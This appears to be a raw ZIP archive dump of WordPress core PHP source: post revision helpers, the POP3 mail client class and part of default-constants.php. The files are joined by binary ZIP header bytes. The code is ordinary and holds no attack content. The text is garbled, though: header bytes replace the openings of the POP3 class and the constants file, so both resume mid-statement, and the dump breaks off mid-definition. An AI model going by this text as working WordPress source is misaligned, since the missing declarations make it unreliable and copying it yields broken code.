'post', $target_post_id, $meta_key, wp_slash( $meta_value ) ); } } /** * Determine which post meta fields should be revisioned. * * @since 6.4.0 * * @param string $post_type The post type being revisioned. * @return array An array of meta keys to be revisioned. */ function wp_post_revision_meta_keys( $post_type ) { $registered_meta = array_merge( get_registered_meta_keys( 'post' ), get_registered_meta_keys( 'post', $post_type ) ); $wp_revisioned_meta_keys = array(); foreach ( $registered_meta as $name => $args ) { if ( $args['revisions_enabled'] ) { $wp_revisioned_meta_keys[ $name ] = true; } } $wp_revisioned_meta_keys = array_keys( $wp_revisioned_meta_keys ); /** * Filter the list of post meta keys to be revisioned. * * @since 6.4.0 * * @param array $keys An array of meta fields to be revisioned. * @param string $post_type The post type being revisioned. */ return apply_filters( 'wp_post_revision_meta_keys', $wp_revisioned_meta_keys, $post_type ); } /** * Check whether revisioned post meta fields have changed. * * @since 6.4.0 * * @param bool $post_has_changed Whether the post has changed. * @param WP_Post $last_revision The last revision post object. * @param WP_Post $post The post object. * @return bool Whether the post has changed. */ function wp_check_revisioned_meta_fields_have_changed( $post_has_changed, WP_Post $last_revision, WP_Post $post ) { foreach ( wp_post_revision_meta_keys( $post->post_type ) as $meta_key ) { if ( get_post_meta( $post->ID, $meta_key ) !== get_post_meta( $last_revision->ID, $meta_key ) ) { $post_has_changed = true; break; } } return $post_has_changed; } /** * Deletes a revision. * * Deletes the row from the posts table corresponding to the specified revision. * * @since 2.6.0 * * @param int|WP_Post $revision Revision ID or revision object. * @return WP_Post|false|null Null or false if error, deleted post object if success. */ function wp_delete_post_revision( $revision ) { $revision = wp_get_post_revision( $revision ); if ( ! $revision ) { return $revision; } $delete = wp_delete_post( $revision->ID ); if ( $delete ) { /** * Fires once a post revision has been deleted. * * @since 2.6.0 * * @param int $revision_id Post revision ID. * @param WP_Post $revision Post revision object. */ do_action( 'wp_delete_post_revision', $revision->ID, $revision ); } return $delete; } /** * Returns all revisions of specified post. * * @since 2.6.0 * * @see get_children() * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @param array|null $args Optional. Arguments for retrieving post revisions. Default null. * @return WP_Post[]|int[] Array of revision objects or IDs, or an empty array if none. */ function wp_get_post_revisions( $post = 0, $args = null ) { $post = get_post( $post ); if ( ! $post || empty( $post->ID ) ) { return array(); } $defaults = array( 'order' => 'DESC', 'orderby' => 'date ID', 'check_enabled' => true, ); $args = wp_parse_args( $args, $defaults ); if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) { return array(); } $args = array_merge( $args, array( 'post_parent' => $post->ID, 'post_type' => 'revision', 'post_status' => 'inherit', ) ); $revisions = get_children( $args ); if ( ! $revisions ) { return array(); } return $revisions; } /** * Returns the latest revision ID and count of revisions for a post. * * @since 6.1.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post. * @return array|WP_Error { * Returns associative array with latest revision ID and total count, * or a WP_Error if the post does not exist or revisions are not enabled. * * @type int $latest_id The latest revision post ID or 0 if no revisions exist. * @type int $count The total count of revisions for the given post. * } */ function wp_get_latest_revision_id_and_total_count( $post = 0 ) { $post = get_post( $post ); if ( ! $post ) { return new WP_Error( 'invalid_post', __( 'Invalid post.' ) ); } if ( ! wp_revisions_enabled( $post ) ) { return new WP_Error( 'revisions_not_enabled', __( 'Revisions not enabled.' ) ); } $args = array( 'post_parent' => $post->ID, 'fields' => 'ids', 'post_type' => 'revision', 'post_status' => 'inherit', 'order' => 'DESC', 'orderby' => 'date ID', 'posts_per_page' => 1, 'ignore_sticky_posts' => true, ); $revision_query = new WP_Query(); $revisions = $revision_query->query( $args ); if ( ! $revisions ) { return array( 'latest_id' => 0, 'count' => 0, ); } return array( 'latest_id' => $revisions[0], 'count' => $revision_query->found_posts, ); } /** * Returns the url for viewing and potentially restoring revisions of a given post. * * @since 5.9.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @return string|null The URL for editing revisions on the given post, otherwise null. */ function wp_get_post_revisions_url( $post = 0 ) { $post = get_post( $post ); if ( ! $post instanceof WP_Post ) { return null; } // If the post is a revision, return early. if ( 'revision' === $post->post_type ) { return get_edit_post_link( $post ); } if ( ! wp_revisions_enabled( $post ) ) { return null; } $revisions = wp_get_latest_revision_id_and_total_count( $post->ID ); if ( is_wp_error( $revisions ) || 0 === $revisions['count'] ) { return null; } return get_edit_post_link( $revisions['latest_id'] ); } /** * Determines whether revisions are enabled for a given post. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return bool True if number of revisions to keep isn't zero, false otherwise. */ function wp_revisions_enabled( $post ) { return wp_revisions_to_keep( $post ) !== 0; } /** * Determines how many revisions to retain for a given post. * * By default, an infinite number of revisions are kept. * * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit * of revisions to keep. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return int The number of revisions to keep. */ function wp_revisions_to_keep( $post ) { $num = WP_POST_REVISIONS; if ( true === $num ) { $num = -1; } else { $num = (int) $num; } if ( ! post_type_supports( $post->post_type, 'revisions' ) ) { $num = 0; } /** * Filters the number of revisions to save for the given post. * * Overrides the value of WP_POST_REVISIONS. * * @since 3.6.0 * * @param int $num Number of revisions to store. * @param WP_Post $post Post object. */ $num = apply_filters( 'wp_revisions_to_keep', $num, $post ); /** * Filters the number of revisions to save for the given post by its post type. * * Overrides both the value of WP_POST_REVISIONS and the {@see 'wp_revisions_to_keep'} filter. * * The dynamic portion of the hook name, `$post->post_type`, refers to * the post type slug. * * Possible hook names include: * * - `wp_post_revisions_to_keep` * - `wp_page_revisions_to_keep` * * @since 5.8.0 * * @param int $num Number of revisions to store. * @param WP_Post $post Post object. */ $num = apply_filters( "wp_{$post->post_type}_revisions_to_keep", $num, $post ); return (int) $num; } /** * Sets up the post object for preview based on the post autosave. * * @since 2.7.0 * @access private * * @param WP_Post $post * @return WP_Post|false */ function _set_preview( $post ) { if ( ! is_object( $post ) ) { return $post; } $preview = wp_get_post_autosave( $post->ID ); if ( is_object( $preview ) ) { $preview = sanitize_post( $preview ); $post->post_content = $preview->post_content; $post->post_title = $preview->post_title; $post->post_excerpt = $preview->post_excerpt; } add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 ); add_filter( 'get_post_metadata', '_wp_preview_post_thumbnail_filter', 10, 3 ); add_filter( 'get_post_metadata', '_wp_preview_meta_filter', 10, 4 ); return $post; } /** * Filters the latest content for preview from the post autosave. * * @since 2.7.0 * @access private */ function _show_post_preview() { if ( isset( $_GET['preview_id'] ) && isset( $_GET['preview_nonce'] ) ) { $id = (int) $_GET['preview_id']; if ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) { wp_die( __( 'Sorry, you are not allowed to preview drafts.' ), 403 ); } add_filter( 'the_preview', '_set_preview' ); } } /** * Filters terms lookup to set the post format. * * @since 3.6.0 * @access private * * @param array $terms * @param int $post_id * @param string $taxonomy * @return array */ function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) { $post = get_post(); if ( ! $post ) { return $terms; } if ( empty( $_REQUEST['post_format'] ) || $post->ID !== $post_id || 'post_format' !== $taxonomy || 'revision' === $post->post_type ) { return $terms; } if ( 'standard' === $_REQUEST['post_format'] ) { $terms = array(); } else { $term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' ); if ( $term ) { $terms = array( $term ); // Can only have one post format. } } return $terms; } /** * Filters post thumbnail lookup to set the post thumbnail. * * @since 4.6.0 * @access private * * @param null|array|string $value The value to return - a single metadata value, or an array of values. * @param int $post_id Post ID. * @param string $meta_key Meta key. * @return null|array The default return value or the post thumbnail meta array. */ function _wp_preview_post_thumbnail_filter( $value, $post_id, $meta_key ) { $post = get_post(); if ( ! $post ) { return $value; } if ( empty( $_REQUEST['_thumbnail_id'] ) || empty( $_REQUEST['preview_id'] ) || $post->ID !== $post_id || $post_id !== (int) $_REQUEST['preview_id'] || '_thumbnail_id' !== $meta_key || 'revision' === $post->post_type ) { return $value; } $thumbnail_id = (int) $_REQUEST['_thumbnail_id']; if ( $thumbnail_id <= 0 ) { return ''; } return (string) $thumbnail_id; } /** * Gets the post revision version. * * @since 3.6.0 * @access private * * @param WP_Post $revision * @return int|false */ function _wp_get_post_revision_version( $revision ) { if ( is_object( $revision ) ) { $revision = get_object_vars( $revision ); } elseif ( ! is_array( $revision ) ) { return false; } if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) { return (int) $matches[1]; } return 0; } /** * Upgrades the revisions author, adds the current post as a revision and sets the revisions version to 1. * * @since 3.6.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * * @param WP_Post $post Post object. * @param array $revisions Current revisions of the post. * @return bool true if the revisions were upgraded, false if problems. */ function _wp_upgrade_revisions_of_post( $post, $revisions ) { global $wpdb; // Add post option exclusively. $lock = "revision-upgrade-{$post->ID}"; $now = time(); $result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'off') /* LOCK */", $lock, $now ) ); if ( ! $result ) { // If we couldn't get a lock, see how old the previous lock is. $locked = get_option( $lock ); if ( ! $locked ) { /* * Can't write to the lock, and can't read the lock. * Something broken has happened. */ return false; } if ( $locked > $now - HOUR_IN_SECONDS ) { // Lock is not too old: some other process may be upgrading this post. Bail. return false; } // Lock is too old - update it (below) and continue. } // If we could get a lock, re-"add" the option to fire all the correct filters. update_option( $lock, $now ); reset( $revisions ); $add_last = true; do { $this_revision = current( $revisions ); $prev_revision = next( $revisions ); $this_revision_version = _wp_get_post_revision_version( $this_revision ); // Something terrible happened. if ( false === $this_revision_version ) { continue; } /* * 1 is the latest revision version, so we're already up to date. * No need to add a copy of the post as latest revision. */ if ( 0 < $this_revision_version ) { $add_last = false; continue; } // Always update the revision version. $update = array( 'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ), ); /* * If this revision is the oldest revision of the post, i.e. no $prev_revision, * the correct post_author is probably $post->post_author, but that's only a good guess. * Update the revision version only and Leave the author as-is. */ if ( $prev_revision ) { $prev_revision_version = _wp_get_post_revision_version( $prev_revision ); // If the previous revision is already up to date, it no longer has the information we need :( if ( $prev_revision_version < 1 ) { $update['post_author'] = $prev_revision->post_author; } } // Upgrade this revision. $result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) ); if ( $result ) { wp_cache_delete( $this_revision->ID, 'posts' ); } } while ( $prev_revision ); delete_option( $lock ); // Add a copy of the post as latest revision. if ( $add_last ) { wp_save_post_revision( $post->ID ); } return true; } /** * Filters preview post meta retrieval to get values from the autosave. * * Filters revisioned meta keys only. * * @since 6.4.0 * * @param mixed $value Meta value to filter. * @param int $object_id Object ID. * @param string $meta_key Meta key to filter a value for. * @param bool $single Whether to return a single value. * @return mixed Original meta value if the meta key isn't revisioned, the object doesn't exist, * the post type is a revision or the post ID doesn't match the object ID. * Otherwise, the revisioned meta value is returned for the preview. */ function _wp_preview_meta_filter( $value, $object_id, $meta_key, $single ) { $post = get_post(); if ( empty( $post ) || $post->ID !== $object_id || ! in_array( $meta_key, wp_post_revision_meta_keys( $post->post_type ), true ) || 'revision' === $post->post_type ) { return $value; } $preview = wp_get_post_autosave( $post->ID ); if ( false === $preview ) { return $value; } return get_post_meta( $preview->ID, $meta_key, $single ); } PK!ó¨èÃRRclass-pop3.phpnuȯÝíBUFFER,"integer"); if( !empty($server) ) { // Do not allow programs to alter MAILSERVER // if it is already specified. They can get around // this if they -really- want to, so don't count on it. if(empty($this->MAILSERVER)) $this->MAILSERVER = $server; } if(!empty($timeout)) { settype($timeout,"integer"); $this->TIMEOUT = $timeout; // Extend POP3 request timeout to the specified TIMEOUT property. if(function_exists("set_time_limit")){ set_time_limit($timeout); } } return true; } /** * PHP4 constructor. */ public function POP3( $server = '', $timeout = '' ) { self::__construct( $server, $timeout ); } function update_timer () { // Extend POP3 request timeout to the specified TIMEOUT property. if(function_exists("set_time_limit")){ set_time_limit($this->TIMEOUT); } return true; } function connect ($server, $port = 110) { // Opens a socket to the specified server. Unless overridden, // port defaults to 110. Returns true on success, false on fail // If MAILSERVER is set, override $server with its value. if (!isset($port) || !$port) {$port = 110;} if(!empty($this->MAILSERVER)) $server = $this->MAILSERVER; if(empty($server)){ $this->ERROR = "POP3 connect: " . _("No server specified"); unset($this->FP); return false; } $fp = @fsockopen("$server", $port, $errno, $errstr); if(!$fp) { $this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]"; unset($this->FP); return false; } socket_set_blocking($fp,-1); $this->update_timer(); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) error_log("POP3 SEND [connect: $server] GOT [$reply]",0); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 connect: " . _("Error ") . "[$reply]"; unset($this->FP); return false; } $this->FP = $fp; $this->BANNER = $this->parse_banner($reply); return true; } function user ($user = "") { // Sends the USER command, returns true or false if( empty($user) ) { $this->ERROR = "POP3 user: " . _("no login ID submitted"); return false; } elseif(!isset($this->FP)) { $this->ERROR = "POP3 user: " . _("connection not established"); return false; } else { $reply = $this->send_cmd("USER $user"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 user: " . _("Error ") . "[$reply]"; return false; } else return true; } } function pass ($pass = "") { // Sends the PASS command, returns # of msgs in mailbox, // returns false (undef) on Auth failure if(empty($pass)) { $this->ERROR = "POP3 pass: " . _("No password submitted"); return false; } elseif(!isset($this->FP)) { $this->ERROR = "POP3 pass: " . _("connection not established"); return false; } else { $reply = $this->send_cmd("PASS $pass"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 pass: " . _("Authentication failed") . " [$reply]"; $this->quit(); return false; } else { // Auth successful. $count = $this->last("count"); $this->COUNT = $count; return $count; } } } function apop ($login,$pass) { // Attempts an APOP login. If this fails, it'll // try a standard login. YOUR SERVER MUST SUPPORT // THE USE OF THE APOP COMMAND! // (apop is optional per rfc1939) if(!isset($this->FP)) { $this->ERROR = "POP3 apop: " . _("No connection to server"); return false; } elseif(!$this->ALLOWAPOP) { $retVal = $this->login($login,$pass); return $retVal; } elseif(empty($login)) { $this->ERROR = "POP3 apop: " . _("No login ID submitted"); return false; } elseif(empty($pass)) { $this->ERROR = "POP3 apop: " . _("No password submitted"); return false; } else { $banner = $this->BANNER; if( (!$banner) or (empty($banner)) ) { $this->ERROR = "POP3 apop: " . _("No server banner") . ' - ' . _("abort"); $retVal = $this->login($login,$pass); return $retVal; } else { $AuthString = $banner; $AuthString .= $pass; $APOPString = md5($AuthString); $cmd = "APOP $login $APOPString"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 apop: " . _("apop authentication failed") . ' - ' . _("abort"); $retVal = $this->login($login,$pass); return $retVal; } else { // Auth successful. $count = $this->last("count"); $this->COUNT = $count; return $count; } } } } function login ($login = "", $pass = "") { // Sends both user and pass. Returns # of msgs in mailbox or // false on failure (or -1, if the error occurs while getting // the number of messages.) if( !isset($this->FP) ) { $this->ERROR = "POP3 login: " . _("No connection to server"); return false; } else { $fp = $this->FP; if( !$this->user( $login ) ) { // Preserve the error generated by user() return false; } else { $count = $this->pass($pass); if( (!$count) || ($count == -1) ) { // Preserve the error generated by last() and pass() return false; } else return $count; } } } function top ($msgNum, $numLines = "0") { // Gets the header and first $numLines of the msg body // returns data in an array with each returned line being // an array element. If $numLines is empty, returns // only the header information, and none of the body. if(!isset($this->FP)) { $this->ERROR = "POP3 top: " . _("No connection to server"); return false; } $this->update_timer(); $fp = $this->FP; $buffer = $this->BUFFER; $cmd = "TOP $msgNum $numLines"; fwrite($fp, "TOP $msgNum $numLines\r\n"); $reply = fgets($fp, $buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 top: " . _("Error ") . "[$reply]"; return false; } $count = 0; $MsgArray = array(); $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { $MsgArray[$count] = $line; $count++; $line = fgets($fp,$buffer); if(empty($line)) { break; } } return $MsgArray; } function pop_list ($msgNum = "") { // If called with an argument, returns that msgs' size in octets // No argument returns an associative array of undeleted // msg numbers and their sizes in octets if(!isset($this->FP)) { $this->ERROR = "POP3 pop_list: " . _("No connection to server"); return false; } $fp = $this->FP; $Total = $this->COUNT; if( (!$Total) or ($Total == -1) ) { return false; } if($Total == 0) { return array("0","0"); // return -1; // mailbox empty } $this->update_timer(); if(!empty($msgNum)) { $cmd = "LIST $msgNum"; fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]"; return false; } list($junk,$num,$size) = preg_split('/\s+/',$reply); return $size; } $cmd = "LIST"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $reply = $this->strip_clf($reply); $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]"; return false; } $MsgArray = array(); $MsgArray[0] = $Total; for($msgC=1;$msgC <= $Total; $msgC++) { if($msgC > $Total) { break; } $line = fgets($fp,$this->BUFFER); $line = $this->strip_clf($line); if(strpos($line, '.') === 0) { $this->ERROR = "POP3 pop_list: " . _("Premature end of list"); return false; } list($thisMsg,$msgSize) = preg_split('/\s+/',$line); settype($thisMsg,"integer"); if($thisMsg != $msgC) { $MsgArray[$msgC] = "deleted"; } else { $MsgArray[$msgC] = $msgSize; } } return $MsgArray; } function get ($msgNum) { // Retrieve the specified msg number. Returns an array // where each line of the msg is an array element. if(!isset($this->FP)) { $this->ERROR = "POP3 get: " . _("No connection to server"); return false; } $this->update_timer(); $fp = $this->FP; $buffer = $this->BUFFER; $cmd = "RETR $msgNum"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 get: " . _("Error ") . "[$reply]"; return false; } $count = 0; $MsgArray = array(); $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { if ( $line[0] == '.' ) { $line = substr($line,1); } $MsgArray[$count] = $line; $count++; $line = fgets($fp,$buffer); if(empty($line)) { break; } } return $MsgArray; } function last ( $type = "count" ) { // Returns the highest msg number in the mailbox. // returns -1 on error, 0+ on success, if type != count // results in a popstat() call (2 element array returned) $last = -1; if(!isset($this->FP)) { $this->ERROR = "POP3 last: " . _("No connection to server"); return $last; } $reply = $this->send_cmd("STAT"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 last: " . _("Error ") . "[$reply]"; return $last; } $Vars = preg_split('/\s+/',$reply); $count = $Vars[1]; $size = $Vars[2]; settype($count,"integer"); settype($size,"integer"); if($type != "count") { return array($count,$size); } return $count; } function reset () { // Resets the status of the remote server. This includes // resetting the status of ALL msgs to not be deleted. // This method automatically closes the connection to the server. if(!isset($this->FP)) { $this->ERROR = "POP3 reset: " . _("No connection to server"); return false; } $reply = $this->send_cmd("RSET"); if(!$this->is_ok($reply)) { // The POP3 RSET command -never- gives a -ERR // response - if it ever does, something truly // wild is going on. $this->ERROR = "POP3 reset: " . _("Error ") . "[$reply]"; @error_log("POP3 reset: ERROR [$reply]",0); } $this->quit(); return true; } function send_cmd ( $cmd = "" ) { // Sends a user defined command string to the // POP server and returns the results. Useful for // non-compliant or custom POP servers. // Do NOT include the \r\n as part of your command // string - it will be appended automatically. // The return value is a standard fgets() call, which // will read up to $this->BUFFER bytes of data, until it // encounters a new line, or EOF, whichever happens first. // This method works best if $cmd responds with only // one line of data. if(!isset($this->FP)) { $this->ERROR = "POP3 send_cmd: " . _("No connection to server"); return false; } if(empty($cmd)) { $this->ERROR = "POP3 send_cmd: " . _("Empty command string"); return ""; } $fp = $this->FP; $buffer = $this->BUFFER; $this->update_timer(); fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } return $reply; } function quit() { // Closes the connection to the POP3 server, deleting // any msgs marked as deleted. if(!isset($this->FP)) { $this->ERROR = "POP3 quit: " . _("connection does not exist"); return false; } $fp = $this->FP; $cmd = "QUIT"; fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } fclose($fp); unset($this->FP); return true; } function popstat () { // Returns an array of 2 elements. The number of undeleted // msgs in the mailbox, and the size of the mbox in octets. $PopArray = $this->last("array"); if($PopArray == -1) { return false; } if( (!$PopArray) or (empty($PopArray)) ) { return false; } return $PopArray; } function uidl ($msgNum = "") { // Returns the UIDL of the msg specified. If called with // no arguments, returns an associative array where each // undeleted msg num is a key, and the msg's uidl is the element // Array element 0 will contain the total number of msgs if(!isset($this->FP)) { $this->ERROR = "POP3 uidl: " . _("No connection to server"); return false; } $fp = $this->FP; $buffer = $this->BUFFER; if(!empty($msgNum)) { $cmd = "UIDL $msgNum"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]"; return false; } list ($ok,$num,$myUidl) = preg_split('/\s+/',$reply); return $myUidl; } else { $this->update_timer(); $UIDLArray = array(); $Total = $this->COUNT; $UIDLArray[0] = $Total; if ($Total < 1) { return $UIDLArray; } $cmd = "UIDL"; fwrite($fp, "UIDL\r\n"); $reply = fgets($fp, $buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]"; return false; } $line = ""; $count = 1; $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { list ($msg,$msgUidl) = preg_split('/\s+/',$line); $msgUidl = $this->strip_clf($msgUidl); if($count == $msg) { $UIDLArray[$msg] = $msgUidl; } else { $UIDLArray[$count] = 'deleted'; } $count++; $line = fgets($fp,$buffer); } } return $UIDLArray; } function delete ($msgNum = "") { // Flags a specified msg as deleted. The msg will not // be deleted until a quit() method is called. if(!isset($this->FP)) { $this->ERROR = "POP3 delete: " . _("No connection to server"); return false; } if(empty($msgNum)) { $this->ERROR = "POP3 delete: " . _("No msg number submitted"); return false; } $reply = $this->send_cmd("DELE $msgNum"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 delete: " . _("Command failed ") . "[$reply]"; return false; } return true; } // ********************************************************* // The following methods are internal to the class. function is_ok ($cmd = "") { // Return true or false on +OK or -ERR if( empty($cmd) ) return false; else return( stripos($cmd, '+OK') !== false ); } function strip_clf ($text = "") { // Strips \r\n from server responses if(empty($text)) return $text; else { $stripped = str_replace(array("\r","\n"),'',$text); return $stripped; } } function parse_banner ( $server_text ) { $outside = true; $banner = ""; $length = strlen($server_text); for($count =0; $count < $length; $count++) { $digit = substr($server_text,$count,1); if(!empty($digit)) { if( (!$outside) && ($digit != '<') && ($digit != '>') ) { $banner .= $digit; } if ($digit == '<') { $outside = false; } if($digit == '>') { $outside = true; } } } $banner = $this->strip_clf($banner); // Just in case return "<$banner>"; } } // End class // For php4 compatibility if (!function_exists("stripos")) { function stripos($haystack, $needle){ return strpos($haystack, stristr( $haystack, $needle )); } } PK!Jç]Že,e,default-constants.phpnuȯÝí 256 * MB_IN_BYTES ) { define( 'WP_MAX_MEMORY_LIMIT', $current_limit ); } elseif ( wp_convert_hr_to_bytes( WP_MEMORY_LIMIT ) > 256 * MB_IN_BYTES ) { define( 'WP_MAX_MEMORY_LIMIT', WP_MEMORY_LIMIT ); } else { define( 'WP_MAX_MEMORY_LIMIT', '256M' ); } } // Set memory limits. $wp_limit_int = wp_convert_hr_to_bytes( WP_MEMORY_LIMIT ); if ( -1 !== $current_limit_int && ( -1 === $wp_limit_int || $wp_limit_int > $current_limit_int ) ) { ini_set( 'memory_limit', WP_MEMORY_LIMIT ); } if ( ! isset( $blog_id ) ) { $blog_id = 1; } if ( ! defined( 'WP_CONTENT_DIR' ) ) { define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); // No trailing slash, full paths only - WP_CONTENT_URL is defined further down. } /* * Add define( 'WP_DEVELOPMENT_MODE', 'core' ), or define( 'WP_DEVELOPMENT_MODE', 'plugin' ), or * define( 'WP_DEVELOPMENT_MODE', 'theme' ), or define( 'WP_DEVELOPMENT_MODE', 'all' ) to wp-config.php * to signify development mode for WordPress core, a plugin, a theme, or all three types respectively. */ if ( ! defined( 'WP_DEVELOPMENT_MODE' ) ) { define( 'WP_DEVELOPMENT_MODE', '' ); } // Add define( 'WP_DEBUG', true ); to wp-config.php to enable display of notices during development. if ( ! defined( 'WP_DEBUG' ) ) { if ( wp_get_development_mode() || 'development' === wp_get_environment_type() ) { define( 'WP_DEBUG', true ); } else { define( 'WP_DEBUG', false ); } } /* * Add define( 'WP_DEBUG_DISPLAY', null ); to wp-config.php to use the globally configured setting * for 'display_errors' and not force errors to be displayed. Use false to force 'display_errors' off. */ if ( ! defined( 'WP_DEBUG_DISPLAY' ) ) { define( 'WP_DEBUG_DISPLAY', true ); } // Add define( 'WP_DEBUG_LOG', true ); to enable error logging to wp-content/debug.log. if ( ! defined( 'WP_DEBUG_LOG' ) ) { define( 'WP_DEBUG_LOG', false ); } if ( ! defined( 'WP_CACHE' ) ) { define( 'WP_CACHE', false ); } /* * Add define( 'SCRIPT_DEBUG', true ); to wp-config.php to enable loading of non-minified, * non-concatenated scripts and stylesheets. */ if ( ! defined( 'SCRIPT_DEBUG' ) ) { if ( ! empty( $wp_version ) ) { $develop_src = str_contains( $wp_version, '-src' ); } else { $develop_src = false; } define( 'SCRIPT_DEBUG', $develop_src ); } /** * Private */ if ( ! defined( 'MEDIA_TRASH' ) ) { define( 'MEDIA_TRASH', false ); } if ( ! defined( 'SHORTINIT' ) ) { define( 'SHORTINIT', false ); } // Constants for features added to WP that should short-circuit their plugin implementations. define( 'WP_FEATURE_BETTER_PASSWORDS', true ); /**#@+ * Constants for expressing human-readable intervals * in their respective number of seconds. * * Please note that these values are approximate and are provided for convenience. * For example, MONTH_IN_SECONDS wrongly assumes every month has 30 days and * YEAR_IN_SECONDS does not take leap years into account. * * If you need more accuracy please consider using the DateTime class (https://www.php.net/manual/en/class.datetime.php). * * @since 3.5.0 * @since 4.4.0 Introduced `MONTH_IN_SECONDS`. */ define( 'MINUTE_IN_SECONDS', 60 ); define( 'HOUR_IN_SECONDS', 60 * MINUTE_IN_SECONDS ); define( 'DAY_IN_SECONDS', 24 * HOUR_IN_SECONDS ); define( 'WEEK_IN_SECONDS', 7 * DAY_IN_SECONDS ); define( 'MONTH_IN_SECONDS', 30 * DAY_IN_SECONDS ); define( 'YEAR_IN_SECONDS', 365 * DAY_IN_SECONDS ); /**#@-*/ } /** * Defines plugin directory WordPress constants. * * Defines must-use plugin directory constants, which may be overridden in the sunrise.php drop-in. * * @since 3.0.0 */ function wp_plugin_directory_constants() { if ( ! defined( 'WP_CONTENT_URL' ) ) { define( 'WP_CONTENT_URL', get_option( 'siteurl' ) . '/wp-content' ); // Full URL - WP_CONTENT_DIR is defined further up. } /** * Allows for the plugins directory to be moved from the default location. * * @since 2.6.0 */ if ( ! defined( 'WP_PLUGIN_DIR' ) ) { define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' ); // Full path, no trailing slash. } /** * Allows for the plugins directory to be moved from the default location. * * @since 2.6.0 */ if ( ! defined( 'WP_PLUGIN_URL' ) ) { define( 'WP_PLUGIN_URL', WP_CONTENT_URL . '/plugins' ); // Full URL, no trailing slash. } /** * Allows for the plugins directory to be moved from the default location. * * @since 2.1.0 * @deprecated */ if ( ! defined( 'PLUGINDIR' ) ) { define( 'PLUGINDIR', 'wp-content/plugins' ); // Relative to ABSPATH. For back compat. } /** * Allows for the mu-plugins directory to be moved from the default location. * * @since 2.8.0 */ if ( ! defined( 'WPMU_PLUGIN_DIR' ) ) { define( 'WPMU_PLUGIN_DIR', WP_CONTENT_DIR . '/mu-plugins' ); // Full path, no trailing slash. } /** * Allows for the mu-plugins directory to be moved from the default location. * * @since 2.8.0 */ if ( ! defined( 'WPMU_PLUGIN_URL' ) ) { define( 'WPMU_PLUGIN_URL', WP_CONTENT_URL . '/mu-plugins' ); // Full URL, no trailing slash. } /** * Allows for the mu-plugins directory to be moved from the default location. * * @since 2.8.0 * @deprecated */ if ( ! defined( 'MUPLUGINDIR' ) ) { define( 'MUPLUGINDIR', 'wp-content/mu-plugins' ); // Relative to ABSPATH. For back compat. } } /** * Defines cookie-related WordPress constants. * * Defines constants after multisite is loaded. * * @since 3.0.0 */ function wp_cookie_constants() { /** * Used to guarantee unique hash cookies. * * @since 1.5.0 */ if ( ! defined( 'COOKIEHASH' ) ) { $siteurl = get_site_option( 'siteurl' ); if ( $siteurl ) { define( 'COOKIEHASH', md5( $siteurl ) ); } else { define( 'COOKIEHASH', '' ); } } /** * @since 2.0.0 */ if ( ! defined( 'USER_COOKIE' ) ) { define( 'USER_COOKIE', 'wordpressuser_' . COOKIEHASH ); } /** * @since 2.0.0 */ if ( ! defined( 'PASS_COOKIE' ) ) { define( 'PASS_COOKIE', 'wordpresspass_' . COOKIEHASH ); } /** * @since 2.5.0 */ if ( ! defined( 'AUTH_COOKIE' ) ) { define( 'AUTH_COOKIE', 'wordpress_' . COOKIEHASH ); } /** * @since 2.6.0 */ if ( ! defined( 'SECURE_AUTH_COOKIE' ) ) { define( 